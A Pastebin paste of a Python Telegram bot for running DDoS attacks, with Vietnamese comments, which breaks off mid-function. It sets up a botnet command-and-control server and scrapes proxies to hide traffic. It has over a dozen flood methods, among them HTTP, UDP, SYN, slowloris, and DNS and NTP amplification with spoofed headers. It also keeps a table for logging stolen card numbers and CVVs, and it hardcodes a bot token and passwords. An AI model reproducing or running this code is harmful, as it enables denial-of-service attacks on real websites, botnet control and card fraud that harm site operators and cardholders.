Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- """
- TELEGRAM DDOS BOT - KHÔNG GIỚI HẠN (BẢN NÂNG CẤP CAO NHẤT + THÊM TÍNH NĂNG)
- - Giữ nguyên mọi tính năng cũ
- - Thêm botnet mạnh, database, broadcast, update client, báo cáo chi tiết
- - Thêm chart, deploy, version, update, cvv, getcvv
- - Thêm 10+ method DDoS mới (http2, synack, gre, quic, ws, graphql, range, pipeline, slow_adv, tls_adv)
- - Thêm nguồn proxy, tăng lên 500
- - ĐÃ SỬA LỖI: check web chính xác, proxy tự động loại bỏ khi chết, retry khi request fail
- """
- import telebot
- import threading
- import requests
- import time
- import random
- import json
- import os
- import socket
- import ssl
- import sys
- import signal
- import logging
- import sqlite3
- from datetime import datetime
- from collections import defaultdict
- from concurrent.futures import ThreadPoolExecutor, as_completed
- from flask import Flask, request
- # === THƯ VIỆN THÊM MỚI ===
- import matplotlib.pyplot as plt
- import io
- import hashlib
- import base64
- from cryptography.fernet import Fernet
- # ==================== CẤU HÌNH ====================
- BOT_TOKEN = "8213292428:AAGAlEozq_rAemQvChVAtrTN92OebiUAJ-s"
- ADMIN_ID = 7593738229
- ADMIN_PASSWORD = "7788"
- MASTER_KEY = "7788"
- CURRENT_VERSION = "3.0"
- GITHUB_REPO = "https://raw.githubusercontent.com/YOUR_USERNAME/YOUR_REPO/main/bot.py" # THAY LINK GITHUB
- bot = telebot.TeleBot(BOT_TOKEN)
- # Xóa webhook cũ
- try:
- bot.delete_webhook()
- print("✅ Đã xóa webhook cũ")
- except Exception as e:
- print(f"⚠️ Không thể xóa webhook: {e}")
- # File lưu dữ liệu cũ
- KEYS_FILE = "keys.json"
- HISTORY_FILE = "history.json"
- PROXY_FILE = "proxy.txt"
- USER_FILE = "users.json"
- LOG_FILE = "ddos_bot.log"
- # Cấu hình logging
- logging.basicConfig(
- level=logging.INFO,
- format='%(asctime)s - %(levelname)s - %(message)s',
- handlers=[
- logging.FileHandler(LOG_FILE),
- logging.StreamHandler()
- ]
- )
- # === BOTNET NÂNG CẤP: SQLITE DATABASE ===
- def init_db():
- conn = sqlite3.connect('c2.db')
- c = conn.cursor()
- c.execute('''CREATE TABLE IF NOT EXISTS clients
- (id INTEGER PRIMARY KEY AUTOINCREMENT, ip TEXT, last_seen TEXT, info TEXT, status TEXT, version TEXT)''')
- c.execute('''CREATE TABLE IF NOT EXISTS attacks
- (id INTEGER PRIMARY KEY AUTOINCREMENT, target TEXT, workers TEXT, rps TEXT, method TEXT, duration TEXT, time TEXT, status TEXT)''')
- c.execute('''CREATE TABLE IF NOT EXISTS reports
- (id INTEGER PRIMARY KEY AUTOINCREMENT, client_ip TEXT, result TEXT, time TEXT)''')
- c.execute('''CREATE TABLE IF NOT EXISTS cvv_logs
- (id INTEGER PRIMARY KEY AUTOINCREMENT, cc TEXT, cvv TEXT, exp TEXT, time TEXT)''')
- conn.commit()
- conn.close()
- init_db()
- def save_client(ip, info, version="1.0"):
- conn = sqlite3.connect('c2.db')
- c = conn.cursor()
- c.execute("INSERT OR REPLACE INTO clients (ip, last_seen, info, status, version) VALUES (?, ?, ?, ?, ?)",
- (ip, datetime.now().isoformat(), json.dumps(info), "active", version))
- conn.commit()
- conn.close()
- def save_attack(target, workers, rps, method, duration):
- conn = sqlite3.connect('c2.db')
- c = conn.cursor()
- c.execute("INSERT INTO attacks (target, workers, rps, method, duration, time, status) VALUES (?, ?, ?, ?, ?, ?, ?)",
- (target, workers, rps, method, duration, datetime.now().isoformat(), "sent"))
- conn.commit()
- conn.close()
- def save_report(client_ip, result):
- conn = sqlite3.connect('c2.db')
- c = conn.cursor()
- c.execute("INSERT INTO reports (client_ip, result, time) VALUES (?, ?, ?)",
- (client_ip, result, datetime.now().isoformat()))
- conn.commit()
- conn.close()
- def save_cvv(cc, cvv, exp):
- conn = sqlite3.connect('c2.db')
- c = conn.cursor()
- c.execute("INSERT INTO cvv_logs (cc, cvv, exp, time) VALUES (?, ?, ?, ?)",
- (cc, cvv, exp, datetime.now().isoformat()))
- conn.commit()
- conn.close()
- # Biến toàn cục
- attacks = {}
- request_counts = defaultdict(int)
- logged_in = {}
- proxy_list = []
- botnet_clients = [] # === BOTNET: danh sách client kết nối
- lock = threading.Lock()
- rate_limit_storage = defaultdict(list)
- # === BOTNET: Flask API cho client ===
- flask_app = Flask(__name__)
- current_botnet_command = None # Lệnh tấn công cho client
- @flask_app.route('/register', methods=['POST'])
- def register():
- data = request.json
- secret = data.get('secret')
- if secret != MASTER_KEY:
- return "Unauthorized", 401
- client_ip = request.remote_addr
- info = data.get('info', {})
- version = data.get('version', '1.0')
- for c in botnet_clients:
- if c['ip'] == client_ip:
- c['last_seen'] = time.time()
- c['version'] = version
- save_client(client_ip, info, version)
- return "OK", 200
- botnet_clients.append({'ip': client_ip, 'last_seen': time.time(), 'info': info, 'version': version})
- save_client(client_ip, info, version)
- print(f"✅ Client mới: {client_ip} (v{version})")
- return "OK", 200
- @flask_app.route('/get_command', methods=['GET'])
- def get_command():
- secret = request.args.get('secret')
- if secret != MASTER_KEY:
- return "Unauthorized", 401
- if current_botnet_command:
- return current_botnet_command, 200
- return "None", 200
- @flask_app.route('/report', methods=['POST'])
- def report():
- data = request.json
- secret = data.get('secret')
- if secret != MASTER_KEY:
- return "Unauthorized", 401
- client_ip = request.remote_addr
- result = data.get('result')
- save_report(client_ip, result)
- print(f"📊 Report từ {client_ip}: {result}")
- return "OK", 200
- @flask_app.route('/static/client.py', methods=['GET'])
- def get_client_code():
- try:
- with open("client.py", "r") as f:
- return f.read(), 200
- except:
- return "Client code not found", 404
- @flask_app.route('/update', methods=['GET'])
- def update_client():
- secret = request.args.get('secret')
- if secret != MASTER_KEY:
- return "Unauthorized", 401
- try:
- with open("client.py", "r") as f:
- return f.read(), 200
- except:
- return "Client code not found", 404
- def run_botnet_api():
- port = int(os.environ.get("BOTNET_PORT", 8080))
- flask_app.run(host='0.0.0.0', port=port, debug=False)
- threading.Thread(target=run_botnet_api, daemon=True).start()
- # === END BOTNET ===
- # Danh sách DNS server
- DNS_SERVERS = ["8.8.8.8", "1.1.1.1", "8.8.4.4", "9.9.9.9", "208.67.222.222", "208.67.220.220"]
- NTP_SERVERS = ["time.google.com", "time.cloudflare.com", "pool.ntp.org", "time.nist.gov"]
- MEMCACHED_SERVERS = []
- # ========== NÂNG CẤP: MỞ RỘNG DANH SÁCH USER-AGENT VÀ REFERER ==========
- USER_AGENTS = [
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
- "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
- "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1",
- "Mozilla/5.0 (Linux; Android 13; SM-S911B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36",
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
- "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0",
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
- "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
- ]
- REFERERS = [
- "https://www.google.com/", "https://www.facebook.com/", "https://www.youtube.com/",
- "https://www.bing.com/", "https://www.yahoo.com/", "https://www.amazon.com/",
- "https://www.twitter.com/", "https://www.instagram.com/", "https://www.tiktok.com/",
- "https://www.reddit.com/", "https://www.wikipedia.org/", "https://www.linkedin.com/",
- "https://www.github.com/", "https://stackoverflow.com/", "https://news.ycombinator.com/"
- ]
- # ==================== HÀM TIỆN ÍCH ====================
- def random_ip():
- return f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
- def random_cf_header():
- return {
- "CF-Ray": f"cf-{random.randint(1000,9999)}-{random.randint(100,999)}",
- "CF-IPCountry": random.choice(["VN", "US", "JP", "KR", "SG", "DE", "FR"]),
- "CF-Connecting-IP": random_ip(),
- }
- def get_headers():
- headers = {
- "User-Agent": random.choice(USER_AGENTS),
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
- "Accept-Language": "vi-VN,vi;q=0.9,en-US;q=0.6,en;q=0.5",
- "Accept-Encoding": "gzip, deflate, br",
- "Cache-Control": "no-cache, no-store, must-revalidate",
- "Connection": "keep-alive",
- "Upgrade-Insecure-Requests": "1",
- "Referer": random.choice(REFERERS),
- "X-Forwarded-For": random_ip(),
- "X-Real-IP": random_ip(),
- "Sec-Fetch-Mode": "navigate",
- "Sec-Fetch-User": "?1",
- "Sec-Fetch-Site": "none",
- "Pragma": "no-cache",
- "DNT": "1",
- }
- cf_headers = random_cf_header()
- headers.update(cf_headers)
- return headers
- def random_query_string(url):
- chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
- param = "".join(random.choice(chars) for _ in range(random.randint(5, 12)))
- value = random.randint(1000, 9999)
- if "?" in url:
- return f"{url}&{param}={value}&_={int(time.time())}&cf_cache={random.randint(100,999)}"
- return f"{url}?{param}={value}&_={int(time.time())}&cf_cache={random.randint(100,999)}"
- def is_target_alive(target):
- try:
- headers = get_headers()
- r = requests.get(target, headers=headers, timeout=5, allow_redirects=True)
- if "cf-challenge" in r.text.lower() or "cloudflare" in r.text.lower():
- return "CF_CHALLENGE", r.status_code
- return "ALIVE", r.status_code
- except:
- return "DEAD", None
- def is_rate_limited(user_id, limit=20, window=60):
- now = time.time()
- rate_limit_storage[user_id] = [t for t in rate_limit_storage[user_id] if now - t < window]
- if len(rate_limit_storage[user_id]) >= limit:
- return True
- rate_limit_storage[user_id].append(now)
- return False
- # ==================== HÀM CHECK WEB CHÍNH XÁC (ĐÃ SỬA) ====================
- def is_web_alive(target):
- """Kiểm tra web còn sống chính xác hơn (dùng GET, retry, fake headers)"""
- # Thử nhiều phương thức khác nhau để tránh false positive
- for attempt in range(3):
- try:
- # Dùng GET thay vì HEAD (HEAD dễ bị chặn hơn)
- headers = {
- "User-Agent": random.choice(USER_AGENTS),
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
- "Accept-Language": "vi-VN,vi;q=0.9,en-US;q=0.6,en;q=0.5",
- "Cache-Control": "no-cache",
- "Connection": "keep-alive",
- }
- # Thử GET request với timeout 5 giây
- r = requests.get(target, headers=headers, timeout=5, allow_redirects=True)
- # Nếu status code < 500 hoặc có nội dung trả về → web còn sống
- if r.status_code < 500:
- return True
- # Nếu là 403 (Forbidden) hoặc 429 (Too Many Requests) → web vẫn sống, chỉ bị chặn
- if r.status_code in [403, 429, 503]:
- return True
- # Nếu có Cloudflare challenge, web vẫn sống
- if "cf-challenge" in r.text.lower() or "cloudflare" in r.text.lower():
- return True
- except requests.exceptions.Timeout:
- # Timeout nhưng có thể do mạng chậm, thử lại
- continue
- except requests.exceptions.ConnectionError:
- # Không kết nối được, thử lại lần cuối
- if attempt == 2:
- return False
- continue
- except:
- pass
- time.sleep(1) # Chờ 1 giây trước khi thử lại
- # Thử cuối cùng: dùng socket để kiểm tra cổng 80/443 có mở không
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 443 if "https://" in target else 80
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.settimeout(3)
- result = sock.connect_ex((host, port))
- sock.close()
- if result == 0:
- return True
- except:
- pass
- return False
- # ==================== QUẢN LÝ KEY VÀ LỊCH SỬ (GIỮ NGUYÊN) ====================
- def load_keys():
- if not os.path.exists(KEYS_FILE):
- return {}
- try:
- with open(KEYS_FILE, 'r', encoding='utf-8') as f:
- return json.load(f)
- except:
- return {}
- def save_keys(keys):
- with open(KEYS_FILE, 'w', encoding='utf-8') as f:
- json.dump(keys, f, ensure_ascii=False, indent=2)
- def generate_key():
- import secrets
- return secrets.token_hex(10)
- def create_key(admin_id, days=30, max_uses=1):
- keys = load_keys()
- new_key = generate_key()
- keys[new_key] = {
- 'created_by': admin_id,
- 'created_at': time.time(),
- 'expiry': time.time() + (days * 86400),
- 'used_by': [],
- 'max_uses': max_uses,
- }
- save_keys(keys)
- logging.info(f"Admin {admin_id} tạo key {new_key} - {days} ngày")
- return new_key
- def delete_key(key):
- keys = load_keys()
- if key in keys:
- del keys[key]
- save_keys(keys)
- logging.info(f"Key {key} đã bị xóa")
- return True
- return False
- def check_key(key, user_id):
- keys = load_keys()
- if key not in keys:
- return {'valid': False, 'reason': 'Key không tồn tại'}
- data = keys[key]
- if time.time() > data['expiry']:
- return {'valid': False, 'reason': 'Key đã hết hạn'}
- if len(data.get('used_by', [])) >= data.get('max_uses', 1):
- return {'valid': False, 'reason': 'Key đã dùng hết số lần'}
- return {'valid': True, 'expiry': data['expiry']}
- def use_key(key, user_id):
- keys = load_keys()
- if key not in keys:
- return False
- if user_id not in keys[key].get('used_by', []):
- keys[key].setdefault('used_by', []).append(user_id)
- save_keys(keys)
- logging.info(f"Key {key} được dùng bởi user {user_id}")
- return True
- def load_history():
- if not os.path.exists(HISTORY_FILE):
- return []
- try:
- with open(HISTORY_FILE, 'r', encoding='utf-8') as f:
- return json.load(f)
- except:
- return []
- def save_history(history):
- with open(HISTORY_FILE, 'w', encoding='utf-8') as f:
- json.dump(history[:50], f, ensure_ascii=False, indent=2)
- def add_to_history(target, total_reqs, max_rps, duration, workers, method, rps_target, web_died=False):
- history = load_history()
- history.insert(0, {
- 'target': target,
- 'requests': total_reqs,
- 'max_rps': max_rps,
- 'duration': duration,
- 'workers': workers,
- 'method': method,
- 'rps_target': rps_target,
- 'web_died': web_died,
- 'time': datetime.now().strftime("%H:%M:%S %d/%m/%Y")
- })
- save_history(history)
- def load_users():
- if not os.path.exists(USER_FILE):
- return {}
- try:
- with open(USER_FILE, 'r', encoding='utf-8') as f:
- return json.load(f)
- except:
- return {}
- def save_users(users):
- with open(USER_FILE, 'w', encoding='utf-8') as f:
- json.dump(users, f, ensure_ascii=False, indent=2)
- # ==================== PROXY TỰ ĐỘNG (GIỮ NGUYÊN + THÊM NGUỒN) ====================
- def fetch_free_proxies():
- proxies = []
- try:
- url = "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=5000&country=all&ssl=all&anonymity=all"
- r = requests.get(url, timeout=10)
- proxies += [p.strip() for p in r.text.split('\r\n') if p.strip()]
- logging.info(f"Lấy {len([p for p in proxies if p])} proxy từ proxyscrape")
- except Exception as e:
- logging.warning(f"Lỗi lấy proxy từ proxyscrape: {e}")
- try:
- url = "https://proxylist.geonode.com/api/proxy-list?limit=100&page=1&sort_by=lastChecked&sort_type=desc"
- r = requests.get(url, timeout=10)
- data = r.json()
- for p in data.get('data', []):
- proxies.append(f"{p['ip']}:{p['port']}")
- logging.info(f"Lấy {len(data.get('data', []))} proxy từ geonode")
- except Exception as e:
- logging.warning(f"Lỗi lấy proxy từ geonode: {e}")
- try:
- url = "https://free-proxy-list.net/"
- r = requests.get(url, timeout=10)
- pattern = r'</td>(\d+\.\d+\.\d+\.\d+)</td><td>(\d+)</td>'
- matches = re.findall(pattern, r.text)
- for match in matches[:50]:
- proxies.append(f"{match[0]}:{match[1]}")
- logging.info(f"Lấy {len(matches[:50])} proxy từ free-proxy-list")
- except Exception as e:
- logging.warning(f"Lỗi lấy proxy từ free-proxy-list: {e}")
- # === THÊM NGUỒN PROXY MỚI ===
- try:
- url = "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt"
- r = requests.get(url, timeout=10)
- proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
- except: pass
- try:
- url = "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt"
- r = requests.get(url, timeout=10)
- proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
- except: pass
- try:
- url = "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt"
- r = requests.get(url, timeout=10)
- proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
- except: pass
- try:
- url = "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt"
- r = requests.get(url, timeout=10)
- proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
- except: pass
- proxies = list(dict.fromkeys(proxies))
- return proxies[:500] # TĂNG LÊN 500
- def check_proxy(proxy):
- try:
- r = requests.get("http://httpbin.org/ip", proxies={"http": proxy, "https": proxy}, timeout=5)
- return proxy if r.status_code == 200 else None
- except:
- return None
- def update_proxy_list():
- global proxy_list
- logging.info("Đang cập nhật proxy...")
- raw = fetch_free_proxies()
- if not raw:
- logging.warning("Không lấy được proxy raw")
- return
- alive = []
- with ThreadPoolExecutor(max_workers=50) as executor:
- futures = {executor.submit(check_proxy, p): p for p in raw[:200]}
- for future in as_completed(futures):
- result = future.result()
- if result:
- alive.append(result)
- # === THÊM: LỌC PROXY THEO TỐC ĐỘ, CHỈ GIỮ PROXY NHANH ===
- if alive:
- fast_proxies = []
- for p in alive[:50]:
- try:
- start = time.time()
- r = requests.get("http://httpbin.org/ip", proxies={"http": p, "https": p}, timeout=3)
- elapsed = time.time() - start
- if elapsed < 2:
- fast_proxies.append(p)
- except:
- pass
- if fast_proxies:
- alive = fast_proxies
- logging.info(f"✅ Lọc nhanh: giữ lại {len(fast_proxies)} proxy (response < 2s)")
- if alive:
- proxy_list = alive
- with open(PROXY_FILE, 'w') as f:
- for p in proxy_list:
- f.write(p + "\n")
- logging.info(f"Đã cập nhật {len(proxy_list)} proxy")
- else:
- if os.path.exists(PROXY_FILE):
- with open(PROXY_FILE, 'r') as f:
- proxy_list = [p.strip() for p in f if p.strip() and not p.startswith('#')]
- logging.info(f"Đã tải {len(proxy_list)} proxy từ file backup")
- # ==================== HÀM LẤY PROXY (ĐÃ SỬA - TỰ LOẠI BỎ PROXY CHẾT) ====================
- def get_random_proxy():
- """Lấy proxy ngẫu nhiên, tự động bỏ qua proxy chết"""
- global proxy_list
- if not proxy_list:
- return None
- # Thử tối đa 5 lần để lấy proxy sống
- for _ in range(5):
- proxy = random.choice(proxy_list)
- try:
- # Kiểm tra nhanh proxy còn sống không
- test_url = "http://httpbin.org/ip"
- r = requests.get(test_url, proxies={"http": proxy, "https": proxy}, timeout=3)
- if r.status_code == 200:
- return {"http": proxy, "https": proxy}
- else:
- # Proxy chết, xóa khỏi danh sách
- if proxy in proxy_list:
- proxy_list.remove(proxy)
- except:
- # Proxy chết, xóa khỏi danh sách
- if proxy in proxy_list:
- proxy_list.remove(proxy)
- continue
- # Không còn proxy sống, trả về None
- return None
- # ==================== CÁC WORKER TẤN CÔNG (GIỮ NGUYÊN) ====================
- def http_worker(chat_id, target, delay_ms, worker_id):
- session = requests.Session()
- while attacks.get(chat_id, {}).get('active', False):
- try:
- url = random_query_string(target)
- headers = get_headers()
- session.get(url, headers=headers, timeout=2, proxies=get_random_proxy())
- session.head(url, headers=headers, timeout=1)
- session.options(url, headers=headers, timeout=1)
- session.post(url, headers=headers, data={'x': random.random()}, timeout=2)
- with lock:
- request_counts[chat_id] += 4
- except:
- pass
- time.sleep(delay_ms / 1000)
- def udp_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 80 if "http://" in target else 443
- except:
- host = target
- port = 80
- while attacks.get(chat_id, {}).get('active', False):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- for _ in range(10):
- payload = random._urandom(2048)
- sock.sendto(payload, (host, port))
- sock.close()
- with lock:
- request_counts[chat_id] += 10
- except:
- pass
- time.sleep(delay_ms / 1000)
- def tcp_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 80 if "http://" in target else 443
- except:
- host = target
- port = 80
- while attacks.get(chat_id, {}).get('active', False):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.settimeout(1)
- sock.connect((host, port))
- sock.sendto(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n\r\n", (host, port))
- sock.close()
- with lock:
- request_counts[chat_id] += 1
- except:
- pass
- time.sleep(delay_ms / 1000)
- def slowloris_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 80 if "http://" in target else 443
- except:
- host = target
- port = 80
- sockets = []
- while attacks.get(chat_id, {}).get('active', False):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.settimeout(5)
- sock.connect((host, port))
- sock.sendto(f"GET / HTTP/1.1\r\nHost: {host}\r\n".encode(), (host, port))
- sockets.append(sock)
- for s in sockets[:]:
- try:
- s.sendto(f"X-Header-{random.randint(1,9999)}: {random.randint(1,9999)}\r\n".encode(), (host, port))
- with lock:
- request_counts[chat_id] += 1
- except:
- sockets.remove(s)
- time.sleep(random.uniform(0.5, 1.5))
- except:
- pass
- def https_flood_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 443
- except:
- host = target
- port = 443
- while attacks.get(chat_id, {}).get('active', False):
- try:
- context = ssl.create_default_context()
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.settimeout(5)
- sock.connect((host, port))
- ssock = context.wrap_socket(sock, server_hostname=host)
- headers = get_headers()
- request = f"GET / HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {headers['User-Agent']}\r\nReferer: {headers['Referer']}\r\nX-Forwarded-For: {headers['X-Forwarded-For']}\r\n\r\n"
- ssock.send(request.encode())
- ssock.close()
- with lock:
- request_counts[chat_id] += 1
- except:
- pass
- time.sleep(delay_ms / 1000)
- def dns_amplification_worker(chat_id, target, delay_ms, worker_id):
- query = b'\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00'
- query += b'\x03www\x07example\x03com\x00\x00\x01\x00\x01' * 50
- while attacks.get(chat_id, {}).get('active', False):
- for dns_server in DNS_SERVERS:
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- sock.sendto(query, (dns_server, 53))
- sock.close()
- with lock:
- request_counts[chat_id] += 1
- except:
- pass
- time.sleep(delay_ms / 1000)
- def ntp_amplification_worker(chat_id, target, delay_ms, worker_id):
- monlist_packet = b'\x17\x00\x03\x2a' + b'\x00' * 4
- while attacks.get(chat_id, {}).get('active', False):
- for ntp_server in NTP_SERVERS:
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- sock.sendto(monlist_packet, (ntp_server, 123))
- sock.close()
- with lock:
- request_counts[chat_id] += 1
- except:
- pass
- time.sleep(delay_ms / 1000)
- def ssl_renegotiation_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- except:
- host = target
- while attacks.get(chat_id, {}).get('active', False):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((host, 443))
- context = ssl.create_default_context()
- ssock = context.wrap_socket(sock, server_hostname=host)
- for _ in range(5):
- ssock.do_handshake()
- ssock.close()
- with lock:
- request_counts[chat_id] += 5 except:
- pass
- time.sleep(delay_ms / 1000)
- def slow_read_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 80 if "http://" in target else 443
- except:
- host = target
- port = 80
- while attacks.get(chat_id, {}).get('active', False):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((host, port))
- sock.sendto(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n\r\n", (host, port))
- while attacks.get(chat_id, {}).get('active', False):
- sock.recv(1)
- time.sleep(0.5)
- sock.close()
- except:
- pass
- # ==================== COMBO WORKER (ĐÃ SỬA - THÊM RETRY) ====================
- def combo_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 80 if "http://" in target else 443
- except:
- host = target
- port = 80
- session = requests.Session()
- while attacks.get(chat_id, {}).get('active', False):
- retry_count = 0
- success = False
- while retry_count < 2 and not success:
- try:
- headers = get_headers()
- url = random_query_string(target)
- proxy = get_random_proxy()
- # Nếu không có proxy, bỏ qua proxy
- proxy_to_use = proxy if proxy else None
- # HTTP Layer
- session.get(url, headers=headers, timeout=2, proxies=proxy_to_use)
- session.post(url, headers=headers, data={'x': random.random()}, timeout=2, proxies=proxy_to_use)
- session.head(url, headers=headers, timeout=1, proxies=proxy_to_use)
- session.options(url, headers=headers, timeout=1, proxies=proxy_to_use)
- # UDP Layer
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- sock.sendto(random._urandom(1024), (host, port))
- sock.close()
- # TCP Layer
- sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock2.settimeout(0.5)
- sock2.connect((host, port))
- sock2.close()
- with lock:
- request_counts[chat_id] += 6
- success = True
- except Exception as e:
- retry_count += 1
- if retry_count >= 2:
- # Thất bại sau 2 lần thử, bỏ qua request này
- pass
- time.sleep(0.1)
- time.sleep(delay_ms / 1000)
- # === CÁC WORKER MỚI ===
- def http2_worker(chat_id, target, delay_ms, worker_id):
- try:
- import h2.connection
- import h2.config
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 443
- while attacks.get(chat_id, {}).get('active', False):
- try:
- config = h2.config.H2Configuration(client_side=True)
- conn = h2.connection.H2Connection(config=config)
- conn.initiate_connection()
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- context = ssl.create_default_context()
- sock = context.wrap_socket(sock, server_hostname=host)
- sock.connect((host, port))
- sock.send(conn.data_to_send())
- for i in range(30):
- conn.send_headers(i, [(':method', 'GET'), (':path', '/'), (':authority', host)])
- conn.send_data(i, b'')
- sock.send(conn.data_to_send())
- sock.close()
- with lock:
- request_counts[chat_id] += 30
- except:
- pass
- time.sleep(delay_ms / 1000)
- except:
- pass
- def syn_ack_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 80 if "http://" in target else 443
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
- sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
- while attacks.get(chat_id, {}).get('active', False):
- sock.sendto(random._urandom(40), (host, port))
- with lock:
- request_counts[chat_id] += 1
- time.sleep(delay_ms / 1000)
- except:
- pass
- def gre_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_GRE)
- while attacks.get(chat_id, {}).get('active', False):
- sock.sendto(random._urandom(1024), (host, 0))
- with lock:
- request_counts[chat_id] += 1
- time.sleep(delay_ms / 1000)
- except:
- pass
- def quic_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 443
- while attacks.get(chat_id, {}).get('active', False):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- quic_packet = b'\xc0\x00\x00\x00\x01' + random._urandom(1200)
- sock.sendto(quic_packet, (host, port))
- sock.close()
- with lock:
- request_counts[chat_id] += 1
- except:
- pass
- time.sleep(delay_ms / 1000)
- except:
- pass
- def websocket_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 80 if "http://" in target else 443
- while attacks.get(chat_id, {}).get('active', False):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((host, port))
- key = base64.b64encode(random._urandom(16)).decode()
- handshake = f"GET /ws HTTP/1.1\r\nHost: {host}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
- sock.send(handshake.encode())
- sock.close()
- with lock:
- request_counts[chat_id] += 1
- except:
- pass
- time.sleep(delay_ms / 1000)
- except:
- pass
- def graphql_worker(chat_id, target, delay_ms, worker_id):
- session = requests.Session()
- while attacks.get(chat_id, {}).get('active', False):
- try:
- headers = get_headers()
- headers["Content-Type"] = "application/json"
- query = {"query": "query { " + " __typename " * 100 + " }"}
- session.post(target + "/graphql", headers=headers, json=query, timeout=1, proxies=get_random_proxy())
- with lock:
- request_counts[chat_id] += 1
- except:
- pass
- time.sleep(delay_ms / 1000)
- def range_worker(chat_id, target, delay_ms, worker_id):
- session = requests.Session()
